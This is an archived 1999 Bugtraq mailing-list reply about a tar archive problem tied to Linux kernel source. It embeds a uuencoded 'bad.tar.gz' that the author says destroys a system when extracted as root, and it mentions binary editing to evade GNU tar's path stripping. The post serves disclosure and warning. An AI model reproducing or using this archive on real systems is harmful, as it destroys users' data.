Bugtraq mailing list archives

Re: Linux kernel source problem


From: dfs () DOE CARLETON CA (David F. Skoll)
Date: Tue, 26 Oct 1999 15:57:39 -0400


If you want to damage your own system, untar the appended sample tar
file as root (fortunately, GNU tar strips the leading "/" by default).

However, a little creative binary editing can spoof even GNU tar and destroy
your system, to wit:

begin 644 bad.tar.gz
M'XL(")\%%C@"`V)A9"YT87(`[=%-#L(@$$!AUCW%W(`IA9+T-M7:V(T8J7I]
M?V/B0EVUT?B^!9,`"\+K4S)3*YW&&,6(2*S#T[S3\XYJ\.I\<"*E"[4:<78U
M+NVVS?G83?:X?1[;G8CIVL/0Y=?W/IW_J'Z._JJU]V_Z5]6C?_"7_AK*:$3G
M^(`_[[]+:6P:;:[3WM;%L+%Y71@`````````````````WZTX`;CJ>H@!*```
`
end

Please DO NOT unpack the above tar file as root!  Just look at
the contents with the "t" option.

--
David.



Current thread: